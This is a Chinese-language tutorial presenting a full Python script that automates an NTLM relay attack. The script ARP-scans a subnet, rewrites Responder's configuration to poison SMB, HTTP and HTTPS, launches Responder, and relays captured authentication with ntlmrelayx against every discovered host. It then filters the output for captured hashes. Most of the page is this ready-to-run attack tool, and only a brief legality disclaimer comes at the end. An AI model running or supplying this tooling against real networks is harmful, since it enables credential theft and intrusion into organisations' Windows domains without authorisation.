以下是一個實現NTLM relay攻擊工具的Python代碼示例,該工具可以完成自動掃描IP、配置相關協議、獲取hash、自動化設置和執行攻擊步驟等功能。
代碼思路
- IP掃描:使用
scapy
庫進行IP掃描,找出活躍的IP地址。 - Responder配置:自動配置
Responder
工具,監聽指定的協議。 - 攻擊執行:使用
ntlmrelayx
工具執行NTLM relay攻擊。 - 日志處理:記錄每個步驟的日志和錯誤信息,并進行過濾。
- Hash驗證:驗證獲取到的hash的有效性。
代碼實現
import subprocess
import ipaddress
from scapy.all import ARP, Ether, srp
import re# 自動掃描Domain IP
def scan_ip_range(ip_range):arp = ARP(pdst=ip_range)ether = Ether(dst="ff:ff:ff:ff:ff:ff")packet = ether/arpresult = srp(packet, timeout=3, verbose=0)[0]clients = []for sent, received in result:clients.append({'ip': received.psrc, 'mac': received.hwsrc})return clients# 自動化Responder設置
def setup_responder():try:# 配置Responder監聽SMB、HTTP、HTTPS協議with open('/etc/responder/Responder.conf', 'r') as f:lines = f.readlines()with open('/etc/responder/Responder.conf', 'w') as f:for line in lines:if line.startswith('SMB ='):f.write('SMB = On\n')elif line.startswith('HTTP ='):f.write('HTTP = On\n')elif line.startswith('HTTPS ='):f.write('HTTPS = On\n')else:f.write(line)# 啟動Responderresponder_process = subprocess.Popen(['responder', '-I', 'eth0', '-rdwv'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)return responder_processexcept Exception as e:print(f"Responder設置出錯: {e}")return None# 自動化攻擊過程
def perform_ntlm_relay(target_ips):try:target_ips_str = ' '.join(target_ips)ntlmrelayx_process = subprocess.Popen(['ntlmrelayx.py', '-t', target_ips_str, '-smb2support'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)return ntlmrelayx_processexcept Exception as e:print(f"NTLM relay攻擊出錯: {e}")return None# 驗證hash的有效性
def validate_hash(hash_str):# 簡單的驗證,檢查是否符合常見的hash格式if re.match(r'^[0-9a-fA-F]{32}$', hash_str):return Truereturn False# 過濾輸出日志信息
def filter_logs(logs):filtered_logs = []for log in logs:if "NTLMv2" in log or "HASH" in log:filtered_logs.append(log)return filtered_logs# 主函數,整合所有功能
def main():print("開始自動配置工具...")# 自動掃描Domain IPip_range = "192.168.1.0/24" # 可根據實際情況修改print(f"開始掃描IP范圍: {ip_range}")clients = scan_ip_range(ip_range)target_ips = [client['ip'] for client in clients]print(f"掃描到的活躍IP地址: {target_ips}")# 自動化Responder設置print("開始配置Responder...")responder_process = setup_responder()if responder_process:print("Responder已啟動")# 自動化攻擊過程print("開始執行NTLM relay攻擊...")ntlmrelayx_process = perform_ntlm_relay(target_ips)if ntlmrelayx_process:print("NTLM relay攻擊已啟動")# 顯示每個步驟的日志和錯誤信息print("開始記錄日志...")logs = []while True:output = ntlmrelayx_process.stdout.readline()if output == b'' and ntlmrelayx_process.poll() is not None:breakif output:log = output.strip().decode('utf-8')logs.append(log)print(log)# 過濾輸出日志信息filtered_logs = filter_logs(logs)print("過濾后的日志信息:")for log in filtered_logs:# 驗證hash的有效性if "HASH" in log:hash_str = log.split("HASH: ")[1].split()[0]if validate_hash(hash_str):print(f"有效hash: {hash_str}")else:print(f"無效hash: {hash_str}")print(log)if __name__ == "__main__":main()
代碼說明
- IP掃描:
scan_ip_range
函數使用scapy
庫發送ARP請求,找出指定IP范圍內的活躍IP地址。 - Responder配置:
setup_responder
函數修改Responder
配置文件,監聽SMB、HTTP、HTTPS協議,并啟動Responder
工具。 - 攻擊執行:
perform_ntlm_relay
函數使用ntlmrelayx
工具執行NTLM relay攻擊。 - 日志處理:
filter_logs
函數過濾輸出日志信息,只保留包含NTLMv2
或HASH
的日志。 - Hash驗證:
validate_hash
函數驗證獲取到的hash是否符合常見的hash格式。
注意事項
- 請確保在合法的環境中使用該工具,未經授權的網絡攻擊是違法的。
- 運行該腳本需要安裝
scapy
庫,可以使用pip install scapy
進行安裝。 - 腳本中的IP范圍
192.168.1.0/24
需要根據實際情況進行修改。 - 腳本中的網絡接口
eth0
也需要根據實際情況進行修改。